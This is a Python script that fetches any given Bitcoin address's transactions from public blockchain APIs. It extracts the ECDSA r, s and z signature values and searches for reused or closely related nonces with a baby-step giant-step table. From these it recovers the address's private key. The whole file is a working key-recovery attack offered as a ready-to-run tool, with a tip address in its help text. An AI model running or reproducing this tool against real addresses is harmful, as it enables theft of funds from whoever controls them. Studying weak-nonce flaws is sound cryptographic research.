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rsz_rdiff_scan.py
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rsz_rdiff_scan.py
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# -*- coding: utf-8 -*-
"""
@author: iceland
"""
import sys
import json
import argparse
from urllib.request import urlopen
# from itertools import combinations
import secp256k1 as ice
G = ice.scalar_multiplication(1)
N = ice.N
ZERO = ice.Zero
#==============================================================================
parser = argparse.ArgumentParser(description='This tool helps to get ECDSA Signature r,s,z values from Bitcoin Address. Also attempt to solve \
for privatekey using Rvalues successive differencing mathematics using bsgs table in RAM.',
epilog='Enjoy the program! :) Tips BTC: bc1q39meky2mn5qjq704zz0nnkl0v7kj4uz6r529at')
parser.add_argument("-a", help = "Address to search for its rsz from the transactions", required="True")
bP = 100000000
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
address = args.a if args.a else ''
if address == '':
print('One of the required option is missing -a'); sys.exit(1)
#==============================================================================
def get_rs(sig):
rlen = int(sig[2:4], 16)
r = sig[4:4+rlen*2]
# slen = int(sig[6+rlen*2:8+rlen*2], 16)
s = sig[8+rlen*2:]
return r, s
#==============================================================================
def split_sig_pieces(script):
sigLen = int(script[2:4], 16)
sig = script[2+2:2+sigLen*2]
r, s = get_rs(sig[4:])
pubLen = int(script[4+sigLen*2:4+sigLen*2+2], 16)
pub = script[4+sigLen*2+2:]
assert(len(pub) == pubLen*2)
return r, s, pub
#==============================================================================
# Returns list of this list [first, sig, pub, rest] for each input
def parseTx(txn):
if len(txn) <130:
print('[WARNING] rawtx most likely incorrect. Please check..')
sys.exit(1)
inp_list = []
ver = txn[:8]
if txn[8:12] == '0001':
print('UnSupported Tx Input. Presence of Witness Data')
sys.exit(1)
inp_nu = int(txn[8:10], 16)
first = txn[0:10]
cur = 10
for m in range(inp_nu):
prv_out = txn[cur:cur+64]
var0 = txn[cur+64:cur+64+8]
cur = cur+64+8
scriptLen = int(txn[cur:cur+2], 16)
script = txn[cur:2+cur+2*scriptLen] #8b included
r, s, pub = split_sig_pieces(script)
seq = txn[2+cur+2*scriptLen:10+cur+2*scriptLen]
inp_list.append([prv_out, var0, r, s, pub, seq])
cur = 10+cur+2*scriptLen
rest = txn[cur:]
return [first, inp_list, rest]
#==============================================================================
def get_rawtx_from_blockchain(txid):
try:
htmlfile = urlopen("https://blockchain.info/rawtx/%s?format=hex" % txid, timeout = 20)
except:
print('Unable to connect internet to fetch RawTx. Exiting..')
sys.exit(1)
else: res = htmlfile.read().decode('utf-8')
return res
#==============================================================================
def getSignableTxn(parsed):
res = []
first, inp_list, rest = parsed
tot = len(inp_list)
for one in range(tot):
e = first
for i in range(tot):
e += inp_list[i][0] # prev_txid
e += inp_list[i][1] # var0
if one == i:
e += '1976a914' + HASH160(inp_list[one][4]) + '88ac'
else:
e += '00'
e += inp_list[i][5] # seq
e += rest + "01000000"
z = ice.get_sha256(ice.get_sha256(bytes.fromhex(e))).hex()
res.append([inp_list[one][2], inp_list[one][3], z, inp_list[one][4], e])
return res
#==============================================================================
def HASH160(pubk_hex):
iscompressed = True if len(pubk_hex) < 70 else False
P = ice.pub2upub(pubk_hex)
return ice.pubkey_to_h160(0, iscompressed, P).hex()
#==============================================================================
# def diff_comb(alist):
# return [ice.point_subtraction(x, y) for x, y in combinations(alist, 2)]
def diff_comb_idx(alist):
LL = len(alist)
RDD = []
for i in range(LL):
for j in range(i+1, LL):
RDD.append((i, j, ice.point_subtraction(alist[i], alist[j])))
RDD.append((i, j, ice.point_addition(alist[i], alist[j])))
# return [(i, j, ice.point_subtraction(alist[i], alist[j])) for i in range(LL) for j in range(i+1, LL)]
return RDD
#==============================================================================
def inv(a):
return pow(a, N - 2, N)
def calc_RQ(r, s, z, pub_point):
# r, s, z in int format and pub_point in upub bytes
RP1 = ice.pub2upub('02' + hex(r)[2:].zfill(64))
RP2 = ice.pub2upub('03' + hex(r)[2:].zfill(64))
sdr = (s * inv(r)) % N
zdr = (z * inv(r)) % N
FF1 = ice.point_subtraction( ice.point_multiplication(RP1, sdr),
ice.scalar_multiplication(zdr) )
FF2 = ice.point_subtraction( ice.point_multiplication(RP2, sdr),
ice.scalar_multiplication(zdr) )
if FF1 == pub_point:
print('======== RSZ to PubKey Validation [SUCCESS] ========')
return RP1
if FF2 == pub_point:
print('======== RSZ to PubKey Validation [SUCCESS] ========')
return RP2
return '======== RSZ to PubKey Validation [FAIL] ========'
def getk1(r1, s1, z1, r2, s2, z2, m):
nr = (s2 * m * r1 + z1 * r2 - z2 * r1) % N
dr = (s1 * r2 - s2 * r1) % N
return (nr * inv(dr)) % N
def getpvk(r1, s1, z1, r2, s2, z2, m):
x1 = (s2 * z1 - s1 * z2 + m * s1 * s2) % N
xi = inv((s1 * r2 - s2 * r1) % N)
x = (x1 * xi) % N
return x
def all_pvk_candidate(r1, s1, z1, r2, s2, z2, m):
xi = []
xi.append( getpvk(r1, s1, z1, r2, s2, z2, m) )
xi.append( getpvk(r1, -s1%N, z1, r2, s2, z2, m) )
xi.append( getpvk(r1, -s1%N, z1, r2, -s2%N, z2, m) )
xi.append( getpvk(r1, s1, z1, r2, -s2%N, z2, m) )
return xi
#==============================================================================
def check_tx(address):
txid = []
cdx = []
ccount = 0
try:
htmlfile = urlopen(f'https://mempool.space/api/address/{address}/txs/chain', timeout = 20)
except:
print('Unable to connect internet to fetch RawTx. Exiting..')
sys.exit(1)
else:
while True:
# current single fetch limit = 25. Loop added for getting all Tx.
res = json.loads(htmlfile.read())
txcount = len(res)
if txcount == 0:
break
ccount += txcount
lasttxid = res[-1]['txid']
print(f'Reading: Tx {ccount-txcount}:{ccount} Input/Output Transactions from the Address: {address}')
for i in range(txcount):
vin_cnt = len(res[i]["vin"])
for j in range(vin_cnt):
if res[i]["vin"][j]["prevout"]["scriptpubkey_address"] == address:
txid.append(res[i]["txid"])
cdx.append(j)
# scriptsig = res[i]["vin"][j]["scriptsig"]
# print(f'Txid: {txid[-1]} Index: {cdx[-1]} Scriptsig: {scriptsig}')
try:
htmlfile = urlopen(f'https://mempool.space/api/address/{address}/txs/chain/{lasttxid}', timeout = 20)
except:
print('Unable to connect internet to fetch more RawTx. continuing...')
break
return txid, cdx
#==============================================================================
print('\nStarting Program...')
#address = '1JtAupan5MSPXxSsWFiwA79bY9LD2Ga1je'
# 1FdJa233RjptkxJv8MrezooSMkSgwrLJPV
# 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
print('-'*120)
txid, cdx = check_tx(address)
RQ, rL, sL, zL, QL = [], [], [], [], []
for c in range(len(txid)):
rawtx = get_rawtx_from_blockchain(txid[c])
try:
m = parseTx(rawtx)
e = getSignableTxn(m)
for i in range(len(e)):
if i == cdx[c]:
rL.append( int( e[i][0], 16) )
sL.append( int( e[i][1], 16) )
zL.append( int( e[i][2], 16) )
QL.append( ice.pub2upub(e[i][3]) )
print('='*70,f'\n[Input Index #: {i}] [txid: {txid[c]}]\n R: {e[i][0]}\n S: {e[i][1]}\n Z: {e[i][2]}\nPubKey: {e[i][3]}')
except: print(f'Skipped the Tx [{txid[c]}]........')
print('='*70); print('-'*120)
#==============================================================================
for c in range(len(rL)):
RQ.append( calc_RQ( rL[c], sL[c], zL[c], QL[c] ) )
if len(QL) > 0: pub_point_Q = QL[0]
# RD = diff_comb(RQ)
RD = diff_comb_idx(RQ)
print('RQ = ')
for i in RQ: print(f'{i.hex()}')
print('='*70);
print('RD = ')
for i in RD: print(f'{i[2].hex()}')
print('-'*120)
for i in RD:
if i[2] == ZERO: print(f'Duplicate R Found. Congrats!. {i[0], i[1], i[2].hex()}')
#==============================================================================
# Time and RAM intensive process to make bigger Table
print(f'Starting to prepare BSGS Table with {bP} elements')
ice.bsgs_2nd_check_prepare(bP)
solvable_diff = []
for Q in RD:
found, diff = ice.bsgs_2nd_check(Q[2], -1, bP)
if found == True:
solvable_diff.append((Q[0], Q[1], diff.hex()))
#==============================================================================
print('='*70); print('-'*120)
for i in solvable_diff:
print(f'[i={i[0]}] [j={i[1]}] [R Diff = {i[2]}]')
# k = getk1(rL[i[0]], sL[i[0]], zL[i[0]], rL[i[1]], sL[i[1]], zL[i[1]], int( i[2], 16) )
# d = getpvk(rL[i[0]], sL[i[0]], zL[i[0]], rL[i[1]], sL[i[1]], zL[i[1]], int( i[2], 16) )
di = all_pvk_candidate(rL[i[0]], sL[i[0]], zL[i[0]], rL[i[1]], sL[i[1]], zL[i[1]], int( i[2], 16) )
for d in di:
if ice.scalar_multiplication(d) == pub_point_Q:
print(f'Privatekey FOUND: {hex(d)} Address: {address}')
# else: print(f'Privatekey MISSED: {hex(d)}')
print('='*70); print('-'*120)
FdupR = [i.hex()[2:66] for i in RQ]
if len(FdupR) != len(set(FdupR)): print(f'Duplicate R Vulnerability exists in this Address: {address}')
print('Program Finished ...')